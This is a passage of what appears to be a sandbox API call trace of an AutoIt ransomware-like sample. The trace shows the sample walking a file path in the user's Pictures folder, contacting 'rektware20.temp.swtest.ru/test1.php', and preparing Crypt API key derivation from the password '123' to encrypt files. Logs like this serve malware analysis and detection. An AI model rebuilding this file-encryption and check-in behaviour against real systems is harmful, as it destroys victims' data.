lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="naErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Erv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.937] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.937] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.937] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.937] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.938] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.938] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.938] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.938] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.938] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0060.938] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.938] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.938] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.938] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.938] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.938] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.938] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.939] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.939] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.939] CloseHandle (hObject=0x0) returned 0 [0060.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.939] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.939] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.939] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.939] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.939] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.939] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.939] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.939] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.939] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.940] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.940] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.940] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.940] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.940] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.940] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.940] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.940] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.940] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa4d8) returned 1 [0060.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.941] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.941] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.941] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.941] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.942] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.942] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.942] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.942] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.942] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.942] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.942] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.942] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.942] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.982] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.983] CryptCreateHash (in: hProv=0x17aa4d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.983] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.983] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.983] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.983] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621630, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.984] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.984] CryptHashData (hHash=0x164c430, pbData=0x16293e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.984] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.984] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.984] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.984] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.984] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 